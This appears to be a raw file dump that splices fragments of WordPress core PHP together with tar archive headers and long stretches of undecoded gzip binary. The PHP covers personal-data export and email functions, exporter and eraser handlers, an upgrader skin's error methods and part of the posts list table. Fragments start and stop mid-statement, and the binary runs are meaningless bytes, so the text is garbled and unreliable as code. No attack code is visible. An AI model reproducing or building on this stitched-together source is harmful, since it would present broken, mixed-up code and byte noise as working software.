URL', 'website URL' ), 'value' => get_bloginfo( 'url' ), ), array( 'name' => _x( 'On', 'date/time' ), 'value' => current_time( 'mysql' ), ), ), ), ); // And now, all the Groups. $groups = get_post_meta( $request_id, '_export_data_grouped', true ); if ( is_array( $groups ) ) { // Merge in the special "About" group. $groups = array_merge( array( 'about' => $about_group ), $groups ); $groups_count = count( $groups ); } else { if ( false !== $groups ) { _doing_it_wrong( __FUNCTION__, /* translators: %s: Post meta key. */ sprintf( __( 'The %s post meta must be an array.' ), '_export_data_grouped' ), '5.8.0' ); } $groups = null; $groups_count = 0; } // Convert the groups to JSON format. $groups_json = wp_json_encode( $groups ); if ( false === $groups_json ) { $error_message = sprintf( /* translators: %s: Error message. */ __( 'Unable to encode the personal data for export. Error: %s' ), json_last_error_msg() ); wp_send_json_error( $error_message ); } /* * Handle the JSON export. */ $file = fopen( $json_report_pathname, 'w' ); if ( false === $file ) { wp_send_json_error( __( 'Unable to open personal data export file (JSON report) for writing.' ) ); } fwrite( $file, '{' ); fwrite( $file, '"' . $title . '":' ); fwrite( $file, $groups_json ); fwrite( $file, '}' ); fclose( $file ); /* * Handle the HTML export. */ $file = fopen( $html_report_pathname, 'w' ); if ( false === $file ) { wp_send_json_error( __( 'Unable to open personal data export (HTML report) for writing.' ) ); } fwrite( $file, "\n" ); fwrite( $file, "\n" ); fwrite( $file, "\n" ); fwrite( $file, "\n" ); fwrite( $file, "' ); fwrite( $file, '' ); fwrite( $file, esc_html( $title ) ); fwrite( $file, '' ); fwrite( $file, "\n" ); fwrite( $file, "\n" ); fwrite( $file, '

' . esc_html__( 'Personal Data Export' ) . '

' ); // Create TOC. if ( $groups_count > 1 ) { fwrite( $file, '
' ); fwrite( $file, '

' . esc_html__( 'Table of Contents' ) . '

' ); fwrite( $file, '
    ' ); foreach ( (array) $groups as $group_id => $group_data ) { $group_label = esc_html( $group_data['group_label'] ); $group_id_attr = sanitize_title_with_dashes( $group_data['group_label'] . '-' . $group_id ); $group_items_count = count( (array) $group_data['items'] ); if ( $group_items_count > 1 ) { $group_label .= sprintf( ' (%d)', $group_items_count ); } fwrite( $file, '
  • ' ); fwrite( $file, '' . $group_label . '' ); fwrite( $file, '
  • ' ); } fwrite( $file, '
' ); fwrite( $file, '
' ); } // Now, iterate over every group in $groups and have the formatter render it in HTML. foreach ( (array) $groups as $group_id => $group_data ) { fwrite( $file, wp_privacy_generate_personal_data_export_group_html( $group_data, $group_id, $groups_count ) ); } fwrite( $file, "\n" ); fwrite( $file, "\n" ); fclose( $file ); /* * Now, generate the ZIP. * * If an archive has already been generated, then remove it and reuse the filename, * to avoid breaking any URLs that may have been previously sent via email. */ $error = false; // This meta value is used from version 5.5. $archive_filename = get_post_meta( $request_id, '_export_file_name', true ); // This one stored an absolute path and is used for backward compatibility. $archive_pathname = get_post_meta( $request_id, '_export_file_path', true ); // If a filename meta exists, use it. if ( ! empty( $archive_filename ) ) { $archive_pathname = $exports_dir . $archive_filename; } elseif ( ! empty( $archive_pathname ) ) { // If a full path meta exists, use it and create the new meta value. $archive_filename = basename( $archive_pathname ); update_post_meta( $request_id, '_export_file_name', $archive_filename ); // Remove the back-compat meta values. delete_post_meta( $request_id, '_export_file_url' ); delete_post_meta( $request_id, '_export_file_path' ); } else { // If there's no filename or full path stored, create a new file. $archive_filename = $file_basename . '.zip'; $archive_pathname = $exports_dir . $archive_filename; update_post_meta( $request_id, '_export_file_name', $archive_filename ); } $archive_url = $exports_url . $archive_filename; if ( ! empty( $archive_pathname ) && file_exists( $archive_pathname ) ) { wp_delete_file( $archive_pathname ); } $zip = new ZipArchive; if ( true === $zip->open( $archive_pathname, ZipArchive::CREATE ) ) { if ( ! $zip->addFile( $json_report_pathname, 'export.json' ) ) { $error = __( 'Unable to archive the personal data export file (JSON format).' ); } if ( ! $zip->addFile( $html_report_pathname, 'index.html' ) ) { $error = __( 'Unable to archive the personal data export file (HTML format).' ); } $zip->close(); if ( ! $error ) { /** * Fires right after all personal data has been written to the export file. * * @since 4.9.6 * @since 5.4.0 Added the `$json_report_pathname` parameter. * * @param string $archive_pathname The full path to the export file on the filesystem. * @param string $archive_url The URL of the archive file. * @param string $html_report_pathname The full path to the HTML personal data report on the filesystem. * @param int $request_id The export request ID. * @param string $json_report_pathname The full path to the JSON personal data report on the filesystem. */ do_action( 'wp_privacy_personal_data_export_file_created', $archive_pathname, $archive_url, $html_report_pathname, $request_id, $json_report_pathname ); } } else { $error = __( 'Unable to open personal data export file (archive) for writing.' ); } // Remove the JSON file. unlink( $json_report_pathname ); // Remove the HTML file. unlink( $html_report_pathname ); if ( $error ) { wp_send_json_error( $error ); } } /** * Send an email to the user with a link to the personal data export file * * @since 4.9.6 * * @param int $request_id The request ID for this personal data export. * @return true|WP_Error True on success or `WP_Error` on failure. */ function wp_privacy_send_personal_data_export_email( $request_id ) { // Get the request. $request = wp_get_user_request( $request_id ); if ( ! $request || 'export_personal_data' !== $request->action_name ) { return new WP_Error( 'invalid_request', __( 'Invalid request ID when sending personal data export email.' ) ); } // Localize message content for user; fallback to site default for visitors. if ( ! empty( $request->user_id ) ) { $locale = get_user_locale( $request->user_id ); } else { $locale = get_locale(); } $switched_locale = switch_to_locale( $locale ); /** This filter is documented in wp-includes/functions.php */ $expiration = apply_filters( 'wp_privacy_export_expiration', 3 * DAY_IN_SECONDS ); $expiration_date = date_i18n( get_option( 'date_format' ), time() + $expiration ); $exports_url = wp_privacy_exports_url(); $export_file_name = get_post_meta( $request_id, '_export_file_name', true ); $export_file_url = $exports_url . $export_file_name; $site_name = wp_specialchars_decode( get_option( 'blogname' ), ENT_QUOTES ); $site_url = home_url(); /** * Filters the recipient of the personal data export email notification. * Should be used with great caution to avoid sending the data export link to wrong emails. * * @since 5.3.0 * * @param string $request_email The email address of the notification recipient. * @param WP_User_Request $request The request that is initiating the notification. */ $request_email = apply_filters( 'wp_privacy_personal_data_email_to', $request->email, $request ); $email_data = array( 'request' => $request, 'expiration' => $expiration, 'expiration_date' => $expiration_date, 'message_recipient' => $request_email, 'export_file_url' => $export_file_url, 'sitename' => $site_name, 'siteurl' => $site_url, ); /* translators: Personal data export notification email subject. %s: Site title. */ $subject = sprintf( __( '[%s] Personal Data Export' ), $site_name ); /** * Filters the subject of the email sent when an export request is completed. * * @since 5.3.0 * * @param string $subject The email subject. * @param string $sitename The name of the site. * @param array $email_data { * Data relating to the account action email. * * @type WP_User_Request $request User request object. * @type int $expiration The time in seconds until the export file expires. * @type string $expiration_date The localized date and time when the export file expires. * @type string $message_recipient The address that the email will be sent to. Defaults * to the value of `$request->email`, but can be changed * by the `wp_privacy_personal_data_email_to` filter. * @type string $export_file_url The export file URL. * @type string $sitename The site name sending the mail. * @type string $siteurl The site URL sending the mail. * } */ $subject = apply_filters( 'wp_privacy_personal_data_email_subject', $subject, $site_name, $email_data ); /* translators: Do not translate EXPIRATION, LINK, SITENAME, SITEURL: those are placeholders. */ $email_text = __( 'Howdy, Your request for an export of personal data has been completed. You may download your personal data by clicking on the link below. For privacy and security, we will automatically delete the file on ###EXPIRATION###, so please download it before then. ###LINK### Regards, All at ###SITENAME### ###SITEURL###' ); /** * Filters the text of the email sent with a personal data export file. * * The following strings have a special meaning and will get replaced dynamically: * ###EXPIRATION### The date when the URL will be automatically deleted. * ###LINK### URL of the personal data export file for the user. * ###SITENAME### The name of the site. * ###SITEURL### The URL to the site. * * @since 4.9.6 * @since 5.3.0 Introduced the `$email_data` array. * * @param string $email_text Text in the email. * @param int $request_id The request ID for this personal data export. * @param array $email_data { * Data relating to the account action email. * * @type WP_User_Request $request User request object. * @type int $expiration The time in seconds until the export file expires. * @type string $expiration_date The localized date and time when the export file expires. * @type string $message_recipient The address that the email will be sent to. Defaults * to the value of `$request->email`, but can be changed * by the `wp_privacy_personal_data_email_to` filter. * @type string $export_file_url The export file URL. * @type string $sitename The site name sending the mail. * @type string $siteurl The site URL sending the mail. */ $content = apply_filters( 'wp_privacy_personal_data_email_content', $email_text, $request_id, $email_data ); $content = str_replace( '###EXPIRATION###', $expiration_date, $content ); $content = str_replace( '###LINK###', esc_url_raw( $export_file_url ), $content ); $content = str_replace( '###EMAIL###', $request_email, $content ); $content = str_replace( '###SITENAME###', $site_name, $content ); $content = str_replace( '###SITEURL###', esc_url_raw( $site_url ), $content ); $headers = ''; /** * Filters the headers of the email sent with a personal data export file. * * @since 5.4.0 * * @param string|array $headers The email headers. * @param string $subject The email subject. * @param string $content The email content. * @param int $request_id The request ID. * @param array $email_data { * Data relating to the account action email. * * @type WP_User_Request $request User request object. * @type int $expiration The time in seconds until the export file expires. * @type string $expiration_date The localized date and time when the export file expires. * @type string $message_recipient The address that the email will be sent to. Defaults * to the value of `$request->email`, but can be changed * by the `wp_privacy_personal_data_email_to` filter. * @type string $export_file_url The export file URL. * @type string $sitename The site name sending the mail. * @type string $siteurl The site URL sending the mail. * } */ $headers = apply_filters( 'wp_privacy_personal_data_email_headers', $headers, $subject, $content, $request_id, $email_data ); $mail_success = wp_mail( $request_email, $subject, $content, $headers ); if ( $switched_locale ) { restore_previous_locale(); } if ( ! $mail_success ) { return new WP_Error( 'privacy_email_error', __( 'Unable to send personal data export email.' ) ); } return true; } /** * Intercept personal data exporter page Ajax responses in order to assemble the personal data export file. * * @since 4.9.6 * * @see 'wp_privacy_personal_data_export_page' * * @param array $response The response from the personal data exporter for the given page. * @param int $exporter_index The index of the personal data exporter. Begins at 1. * @param string $email_address The email address of the user whose personal data this is. * @param int $page The page of personal data for this exporter. Begins at 1. * @param int $request_id The request ID for this personal data export. * @param bool $send_as_email Whether the final results of the export should be emailed to the user. * @param string $exporter_key The slug (key) of the exporter. * @return array The filtered response. */ function wp_privacy_process_personal_data_export_page( $response, $exporter_index, $email_address, $page, $request_id, $send_as_email, $exporter_key ) { /* Do some simple checks on the shape of the response from the exporter. * If the exporter response is malformed, don't attempt to consume it - let it * pass through to generate a warning to the user by default Ajax processing. */ if ( ! is_array( $response ) ) { return $response; } if ( ! array_key_exists( 'done', $response ) ) { return $response; } if ( ! array_key_exists( 'data', $response ) ) { return $response; } if ( ! is_array( $response['data'] ) ) { return $response; } // Get the request. $request = wp_get_user_request( $request_id ); if ( ! $request || 'export_personal_data' !== $request->action_name ) { wp_send_json_error( __( 'Invalid request ID when merging personal data to export.' ) ); } $export_data = array(); // First exporter, first page? Reset the report data accumulation array. if ( 1 === $exporter_index && 1 === $page ) { update_post_meta( $request_id, '_export_data_raw', $export_data ); } else { $accumulated_data = get_post_meta( $request_id, '_export_data_raw', true ); if ( $accumulated_data ) { $export_data = $accumulated_data; } } // Now, merge the data from the exporter response into the data we have accumulated already. $export_data = array_merge( $export_data, $response['data'] ); update_post_meta( $request_id, '_export_data_raw', $export_data ); // If we are not yet on the last page of the last exporter, return now. /** This filter is documented in wp-admin/includes/ajax-actions.php */ $exporters = apply_filters( 'wp_privacy_personal_data_exporters', array() ); $is_last_exporter = count( $exporters ) === $exporter_index; $exporter_done = $response['done']; if ( ! $is_last_exporter || ! $exporter_done ) { return $response; } // Last exporter, last page - let's prepare the export file. // First we need to re-organize the raw data hierarchically in groups and items. $groups = array(); foreach ( (array) $export_data as $export_datum ) { $group_id = $export_datum['group_id']; $group_label = $export_datum['group_label']; $group_description = ''; if ( ! empty( $export_datum['group_description'] ) ) { $group_description = $export_datum['group_description']; } if ( ! array_key_exists( $group_id, $groups ) ) { $groups[ $group_id ] = array( 'group_label' => $group_label, 'group_description' => $group_description, 'items' => array(), ); } $item_id = $export_datum['item_id']; if ( ! array_key_exists( $item_id, $groups[ $group_id ]['items'] ) ) { $groups[ $group_id ]['items'][ $item_id ] = array(); } $old_item_data = $groups[ $group_id ]['items'][ $item_id ]; $merged_item_data = array_merge( $export_datum['data'], $old_item_data ); $groups[ $group_id ]['items'][ $item_id ] = $merged_item_data; } // Then save the grouped data into the request. delete_post_meta( $request_id, '_export_data_raw' ); update_post_meta( $request_id, '_export_data_grouped', $groups ); /** * Generate the export file from the collected, grouped personal data. * * @since 4.9.6 * * @param int $request_id The export request ID. */ do_action( 'wp_privacy_personal_data_export_file', $request_id ); // Clear the grouped data now that it is no longer needed. delete_post_meta( $request_id, '_export_data_grouped' ); // If the destination is email, send it now. if ( $send_as_email ) { $mail_success = wp_privacy_send_personal_data_export_email( $request_id ); if ( is_wp_error( $mail_success ) ) { wp_send_json_error( $mail_success->get_error_message() ); } // Update the request to completed state when the export email is sent. _wp_privacy_completed_request( $request_id ); } else { // Modify the response to include the URL of the export file so the browser can fetch it. $exports_url = wp_privacy_exports_url(); $export_file_name = get_post_meta( $request_id, '_export_file_name', true ); $export_file_url = $exports_url . $export_file_name; if ( ! empty( $export_file_url ) ) { $response['url'] = $export_file_url; } } return $response; } /** * Mark erasure requests as completed after processing is finished. * * This intercepts the Ajax responses to personal data eraser page requests, and * monitors the status of a request. Once all of the processing has finished, the * request is marked as completed. * * @since 4.9.6 * * @see 'wp_privacy_personal_data_erasure_page' * * @param array $response The response from the personal data eraser for * the given page. * @param int $eraser_index The index of the personal data eraser. Begins * at 1. * @param string $email_address The email address of the user whose personal * data this is. * @param int $page The page of personal data for this eraser. * Begins at 1. * @param int $request_id The request ID for this personal data erasure. * @return array The filtered response. */ function wp_privacy_process_personal_data_erasure_page( $response, $eraser_index, $email_address, $page, $request_id ) { /* * If the eraser response is malformed, don't attempt to consume it; let it * pass through, so that the default Ajax processing will generate a warning * to the user. */ if ( ! is_array( $response ) ) { return $response; } if ( ! array_key_exists( 'done', $response ) ) { return $response; } if ( ! array_key_exists( 'items_removed', $response ) ) { return $response; } if ( ! array_key_exists( 'items_retained', $response ) ) { return $response; } if ( ! array_key_exists( 'messages', $response ) ) { return $response; } // Get the request. $request = wp_get_user_request( $request_id ); if ( ! $request || 'remove_personal_data' !== $request->action_name ) { wp_send_json_error( __( 'Invalid request ID when processing personal data to erase.' ) ); } /** This filter is documented in wp-admin/includes/ajax-actions.php */ $erasers = apply_filters( 'wp_privacy_personal_data_erasers', array() ); $is_last_eraser = count( $erasers ) === $eraser_index; $eraser_done = $response['done']; if ( ! $is_last_eraser || ! $eraser_done ) { return $response; } _wp_privacy_completed_request( $request_id ); /** * Fires immediately after a personal data erasure request has been marked completed. * * @since 4.9.6 * * @param int $request_id The privacy request post ID associated with this request. */ do_action( 'wp_privacy_personal_data_erased', $request_id ); return $response; } shared.php.php.tar.gz000064400000071275152377531730010546 0ustar00KsH 8WYJ]$/I)e)QH(9ZI @Ki6˚ڞs6>_d@PRVwN*%2#cBy5qb@UkVCQ)ZLцBPM3fNDC߼'~oz~Bb? 77BUQea&jX6%c?AĄ-Eׄ_I4Q QU70!Ek`e)3Y8\%9a 2Љ9U_XEP4 q Z 0$_#ZL\&Plnm]אI` ,1B±}شGdU}Z_8;$D@DE{S\ǙK[LG4Z ? E3T4 }|<US5cT>8PT2Phc+#qZE;Y<$9(BhHEHNND7L\`4aC  H$:h \f`>DžW$"iE,FN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Gr[Zɚ[c^hlusv8-dzݍ{ܷߏIH/_cp]QZ ,K(KȆYp`_zguwJoFwTwShR%<U^ෳ~}u\s=)CO ' Nc H_$>/lzd4ReQ&=Ip> WFRMdE0ۘ* |Y爜# RtEj1s|_aN1ui0``a-UѲD{C%_|9h>E|-;E/Hp%:]ϧZ ,D{TGD-: B/Rgh}rw*+өh!-OgFvD`#_(ڔuRd(){ϗmW5}BGgBJqQLmb##^첁䙨<pXDхӹJ5* cq,I|I@>{dY6@3p\ru5a k/p:]ZO Mit[]j[CST~R:B,T[k_TZca'댦5Ê m$+ y  MB<1Y06}`e@sRB\pnː:< ze boAX? }Q_ ;$,"\"߀-uooKfK%5`}&H'Gnmvu.2T6-h&~;=bEC-Gk 4 6:M6 !/0'DO+-TDz@DaHwaGO o Ïy+c3ضLԙom"y$v{@i#[S&`(Ed)B*..wa 5\xerrors = new WP_Error(); } /** * Retrieves the list of errors. * * @since 4.6.0 * * @return WP_Error Errors during an upgrade. */ public function get_errors() { return $this->errors; } /** * Retrieves a string for error messages. * * @since 4.6.0 * * @return string Error messages during an upgrade. */ public function get_error_messages() { $messages = array(); foreach ( $this->errors->get_error_codes() as $error_code ) { $error_data = $this->errors->get_error_data( $error_code ); if ( $error_data && is_string( $error_data ) ) { $messages[] = $this->errors->get_error_message( $error_code ) . ' ' . esc_html( strip_tags( $error_data ) ); } else { $messages[] = $this->errors->get_error_message( $error_code ); } } return implode( ', ', $messages ); } /** * Stores an error message about the upgrade. * * @since 4.6.0 * @since 5.3.0 Formalized the existing `...$args` parameter by adding it * to the function signature. * * @param string|WP_Error $errors Errors. * @param mixed ...$args Optional text replacements. */ public function error( $errors, ...$args ) { if ( is_string( $errors ) ) { $string = $errors; if ( ! empty( $this->upgrader->strings[ $string ] ) ) { $string = $this->upgrader->strings[ $string ]; } if ( false !== strpos( $string, '%' ) ) { if ( ! empty( $args ) ) { $string = vsprintf( $string, $args ); } } // Count existing errors to generate a unique error code. $errors_count = count( $this->errors->get_error_codes() ); $this->errors->add( 'unknown_upgrade_error_' . ( $errors_count + 1 ), $string ); } elseif ( is_wp_error( $errors ) ) { foreach ( $errors->get_error_codes() as $error_code ) { $this->errors->add( $error_code, $errors->get_error_message( $error_code ), $errors->get_error_data( $error_code ) ); } } parent::error( $errors, ...$args ); } /** * Stores a message about the upgrade. * * @since 4.6.0 * @since 5.3.0 Formalized the existing `...$args` parameter by adding it * to the function signature. * @since 5.9.0 Renamed `$data` to `$feedback` for PHP 8 named parameter support. * * @param string|array|WP_Error $feedback Message data. * @param mixed ...$args Optional text replacements. */ public function feedback( $feedback, ...$args ) { if ( is_wp_error( $feedback ) ) { foreach ( $feedback->get_error_codes() as $error_code ) { $this->errors->add( $error_code, $feedback->get_error_message( $error_code ), $feedback->get_error_data( $error_code ) ); } } parent::feedback( $feedback, ...$args ); } } nav-menu.php.php.tar.gz000064400000024030152377531730011011 0ustar00={6rU+E WNնN~Z]H˘KnHd]],N}w`0i>{?/,糽b&hZҽyOfIdt1^_3-?wݻսO~{_޻{K( Ϣ-=ܻsgSOBerWI`œ ?uRB%m#l>Hqo?܇6CEkF'I%i\XrloGONC4YW-|Jx&⢈6-a'qT'B_);$Ÿ/1Mht5Q;lnlE)!|,gq~*2Z8Uo(|,s=Wy^ rwT4:W(M/< vE07y vvEU,Pֆ>M\ ӀFp 2yս< yYI%geM;]$BWngDtUǰR2<wjuRރ9GSRx&Y<T-L"6Lp! Km|'dZJƕF29/c)ašӮӒT e(tSfUlm)l8yϮRbl9m(r0g\MPB^ U{??;UN88< ; 8ك#YVy0\Jw_%! l8|Ճ ÍݰLVq4 ajfZY\iLdw~,Zdȯ@3`1p>a!'v e4h `wJ]G (8%WmM >Z&<]̲rgȣ9ORJ+">2hDbP^_Ź8O ؆d&bWL2fpa4FBmZ(%hgfPS}xHX*6F [1^o|J!H7Z%H]Qg:p* ]*eH-YPsi=Hh>r *Ѣ C}̒b3P+Kqް+Wwii y@51 "Y](N nYiSFS|0ƣP XEfX>x ۘ,SzeCH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\*4Zh=^_TeDlxJ*w{EBrf]vQ8'Փ_N,?9@v-ʔi lu;DZgVpcv.M&phj[QuF˛@\aA d-A(&VrS1tyxVܞ%يh?//PQȎ sk8Cp+^4\ލ& O GL-9 ث#뷜_޼)yXjܺz/(pVSٛіE#7𦙥 i1H!.-p27y~Z![ig9.2ꏔVϙȊXFK{ hڦ“3Ӷ -c4w 2^쯗9ĘԢŝ.]Џ68nO29}֗8ܖۍ)Z`( F~hzKo*/CߙŬKi{X߬<o|93UM7Y=!wZegR3])]VpF=.VΆcULt+[-ɭ'V3Қ/G=MCz:2hWg5 zb~%q #N=<+˙u\D 'posts', 'screen' => isset( $args['screen'] ) ? $args['screen'] : null, ) ); $post_type = $this->screen->post_type; $post_type_object = get_post_type_object( $post_type ); $exclude_states = get_post_stati( array( 'show_in_admin_all_list' => false, ) ); $this->user_posts_count = (int) $wpdb->get_var( $wpdb->prepare( "SELECT COUNT( 1 ) FROM $wpdb->posts WHERE post_type = %s AND post_status NOT IN ( '" . implode( "','", $exclude_states ) . "' ) AND post_author = %d", $post_type, get_current_user_id() ) ); if ( $this->user_posts_count && ! current_user_can( $post_type_object->cap->edit_others_posts ) && empty( $_REQUEST['post_status'] ) && empty( $_REQUEST['all_posts'] ) && empty( $_REQUEST['author'] ) && empty( $_REQUEST['show_sticky'] ) ) { $_GET['author'] = get_current_user_id(); } $sticky_posts = get_option( 'sticky_posts' ); if ( 'post' === $post_type && $sticky_posts ) { $sticky_posts = implode( ', ', array_map( 'absint', (array) $sticky_posts ) ); $this->sticky_posts_count = (int) $wpdb->get_var( $wpdb->prepare( "SELECT COUNT( 1 ) FROM $wpdb->posts WHERE post_type = %s AND post_status NOT IN ('trash', 'auto-draft') AND ID IN ($sticky_posts)", $post_type ) ); } } /** * Sets whether the table layout should be hierarchical or not. * * @since 4.2.0 * * @param bool $display Whether the table layout should be hierarchical. */ public function set_hierarchical_display( $display ) { $this->hierarchical_display = $display; } /** * @return bool */ public function ajax_user_can() { return current_user_can( get_post_type_object( $this->screen->post_type )->cap->edit_posts ); } /** * @global string $mode List table view mode. * @global array $avail_post_stati * @global WP_Query $wp_query WordPress Query object. * @global int $per_page */ public function prepare_items() { global $mode, $avail_post_stati, $wp_query, $per_page; if ( ! empty( $_REQUEST['mode'] ) ) { $mode = 'excerpt' === $_REQUEST['mode'] ? 'excerpt' : 'list'; set_user_setting( 'posts_list_mode', $mode ); } else { $mode = get_user_setting( 'posts_list_mode', 'list' ); } // Is going to call wp(). $avail_post_stati = wp_edit_posts_query(); $this->set_hierarchical_display( is_post_type_hierarchical( $this->screen->post_type ) && 'menu_order title' === $wp_query->query['orderby'] ); $post_type = $this->screen->post_type; $per_page = $this->get_items_per_page( 'edit_' . $post_type . '_per_page' ); /** This filter is documented in wp-admin/includes/post.php */ $per_page = apply_filters( 'edit_posts_per_page', $per_page, $post_type ); if ( $this->hierarchical_display ) { $total_items = $wp_query->post_count; } elseif ( $wp_query->found_posts || $this->get_pagenum() === 1 ) { $total_items = $wp_query->found_posts; } else { $post_counts = (array) wp_count_posts( $post_type, 'readable' ); if ( isset( $_REQUEST['post_status'] ) && in_array( $_REQUEST['post_status'], $avail_post_stati, true ) ) { $total_items = $post_counts[ $_REQUEST['post_status'] ]; } elseif ( isset( $_REQUEST['show_sticky'] ) && $_REQUEST['show_sticky'] ) { $total_items = $this->sticky_posts_count; } elseif ( isset( $_GET['author'] ) && get_current_user_id() === (int) $_GET['author'] ) { $total_items = $this->user_posts_count; } else { $total_items = array_sum( $post_counts ); // Subtract post types that are not included in the admin all list. foreach ( get_post_stati( array( 'show_in_admin_all_list' => false ) ) as $state ) { $total_items -= $post_counts[ $state ]; } } } $this->is_trash = isset( $_REQUEST['post_status'] ) && 'trash' === $_REQUEST['post_status']; $this->set_pagination_args( array( 'total_items' => $total_items, 'per_page' => $per_page, ) ); } /** * @return bool */ public function has_items() { return have_posts(); } /** */ public function no_items() { if ( isset( $_REQUEST['post_status'] ) && 'trash' === $_REQUEST['post_status'] ) { echo get_post_type_object( $this->screen->post_type )->labels->not_found_in_trash; } else { echo get_post_type_object( $this->screen->post_type )->labels->not_found; } } /** * Determine if the current view is the "All" view. * * @since 4.2.0 * * @return bool Whether the current view is the "All" view. */ protected function is_base_request() { $vars = $_GET; unset( $vars['paged'] ); if ( empty( $vars ) ) { return true; } elseif ( 1 === count( $vars ) && ! empty( $vars['post_type'] ) ) { return $this->screen->post_type === $vars['post_type']; } return 1 === count( $vars ) && ! empty( $vars['mode'] ); } /** * Helper to create links to edit.php with params. * * @since 4.4.0 * * @param string[] $args Associative array of URL parameters for the link. * @param string $link_text Link text. * @param string $css_class Optional. Class attribute. Default empty string. * @return string The formatted link string. */ protected function get_edit_link( $args, $link_text, $css_class = '' ) { $url = add_query_arg( $args, 'edit.php' ); $class_html = ''; $aria_current = ''; if ( ! empty( $css_class ) ) { $class_html = sprintf( ' class="%s"', esc_attr( $css_class ) ); if ( 'current' === $css_class ) { $aria_current = ' aria-current="page"'; } } return sprintf( '%s', esc_url( $url ), $class_html, $aria_current, $link_text ); } /** * @global array $locked_post_status This seems to be deprecated. * @global array $avail_post_stati * @return array */ protected function get_views() { global $locked_post_status, $avail_post_stati; $post_type = $this->screen->post_type; if ( ! empty( $locked_post_status ) ) { return array(); } $status_links = array(); $num_posts = wp_count_posts( $post_type, 'readable' ); $total_posts = array_sum( (array) $num_posts ); $class = ''; $current_user_id = get_current_user_id(); $all_args = array( 'post_type' => $post_type ); $mine = ''; // Subtract post types that are not included in the admin all list. foreach ( get_post_stati( array( 'show_in_admin_all_list' => false ) ) as $state ) { $total_posts -= $num_posts->$state; } if ( $this->user_posts_count && $this->user_posts_count !== $total_posts ) { if ( isset( $_GET['author'] ) && ( $current_user_id === (int) $_GET['author'] ) ) { $class = 'current'; } $mine_args = array( 'post_type' => $post_type, 'author' => $current_user_id, ); $mine_inner_html = sprintf( /* translators: %s: Number of posts. */ _nx( 'Mine (%s)', 'Mine (%s)', $this->user_posts_count, 'posts' ), number_format_i18n( $this->user_posts_count ) ); $mine = $this->get_edit_link( $mine_args, $mine_inner_html, $class ); $all_args['all_posts'] = 1; $class = ''; } if ( empty( $class ) && ( $this->is_base_request() || isset( $_REQUEST['all_posts'] ) ) ) { $class = 'current'; } $all_inner_html = sprintf( /* translators: %s: Number of posts. */ _nx( 'All (%s)', 'All (%s)', $total_posts, 'posts' ), number_format_i18n( $total_posts ) ); $status_links['all'] = $this->get_edit_link( $all_args, $all_inner_html, $class ); if ( $mine ) { $status_links['mine'] = $mine; } foreach ( get_post_stati( array( 'show_in_admin_status_list' => true ), 'objects' ) as $status ) { $class = ''; $status_name = $status->name; if ( ! in_array( $status_name, $avail_post_stati, true ) || empty( $num_posts->$status_name ) ) { continue; } if ( isset( $_REQUEST['post_status'] ) && $status_name === $_REQUEST['post_status'] ) { $class = 'current'; } $status_args = array( 'post_status' => $status_name, 'post_type' => $post_type, ); $status_label = sprintf( translate_nooped_plural( $status->label_count, $num_posts->$status_name ), number_format_i18n( $num_posts->$status_name ) ); $status_links[ $status_name ] = $this->get_edit_link( $status_args, $status_label, $class ); } if ( ! empty( $this->sticky_posts_count ) ) { $class = ! empty( $_REQUEST['show_sticky'] ) ? 'current' : ''; $sticky_args = array( 'post_type' => $post_type, 'show_sticky' => 1, ); $sticky_inner_html = sprintf( /* translators: %s: Number of posts. */ _nx( 'Sticky (%s)', 'Sticky (%s)', $this->sticky_posts_count, 'posts' ), number_format_i18n( $this->sticky_posts_count ) ); $sticky_link = array( 'sticky' => $this->get_edit_link( $sticky_args, $sticky_inner_html, $class ), ); // Sticky comes after Publish, or if not listed, after All. $split = 1 + array_search( ( isset( $status_links['publish'] ) ? 'publish' : 'all' ), array_keys( $status_links ), true ); $status_links = array_merge( array_slice( $status_links, 0, $split ), $sticky_link, array_slice( $status_links, $split ) ); } return $status_links; } /** * @return array */ protected function get_bulk_actions() { $actions = array(); $post_type_obj = get_post_type_object( $this->screen->post_type ); if ( current_user_can( $post_type_obj->cap->edit_posts ) ) { if ( $this->is_trash ) { $actions['untrash'] = __( 'Restore' ); } else { $actions['edit'] = __( 'Edit' ); } } if ( current_user_can( $post_type_obj->cap->delete_posts ) ) { if ( $this->is_trash || ! EMPTY_TRASH_DAYS ) { $actions['delete'] = __( 'Delete permanently' ); } else { $actions['trash'] = __( 'Move to Trash' ); } } return $actions; } /** * Displays a categories drop-down for filtering on the Posts list table. * * @since 4.6.0 * * @global int $cat Currently selected category. * * @param string $post_type Post type slug. */ protected function categories_dropdown( $post_type ) { global $cat; /** * Filters whether to remove the 'Categories' drop-down from the post list table. * * @since 4.6.0 * * @param bool $disable Whether to disable the categories drop-down. Default false. * @param string $post_type Post type slug. */ if ( false !== apply_filters( 'disable_categories_dropdown', false, $post_type ) ) { return; } if ( is_object_in_taxonomy( $post_type, 'category' ) ) { $dropdown_options = array( 'show_option_all' => get_taxonomy( 'category' )->labels->all_items, 'hide_empty' => 0, 'hierarchical' => 1, 'show_count' => 0, 'orderby' => 'name', 'selected' => $cat, ); echo ''; wp_dropdown_categories( $dropdown_options ); } } /** * Displays a formats drop-down for filtering items. * * @since 5.2.0 * @access protected * * @param string $post_type Post type slug. */ protected function formats_dropdown( $post_type ) { /** * Filters whether to remove the 'Formats' drop-down from the post list table. * * @since 5.2.0 * @since 5.5.0 The `$post_type` parameter was added. * * @param bool $disable Whether to disable the drop-down. Default false. * @param string $post_type Post type slug. */ if ( apply_filters( 'disable_formats_dropdown', false, $post_type ) ) { return; } // Return if the post type doesn't have post formats or if we're in the Trash. if ( ! is_object_in_taxonomy( $post_type, 'post_format' ) || $this->is_trash ) { return; } // Make sure the dropdown shows only formats with a post count greater than 0. $used_post_formats = get_terms( array( 'taxonomy' => 'post_format', 'hide_empty' => true, ) ); // Return if there are no posts using formats. if ( ! $used_post_formats ) { return; } $displayed_post_format = isset( $_GET['post_format'] ) ? $_GET['post_format'] : ''; ?>
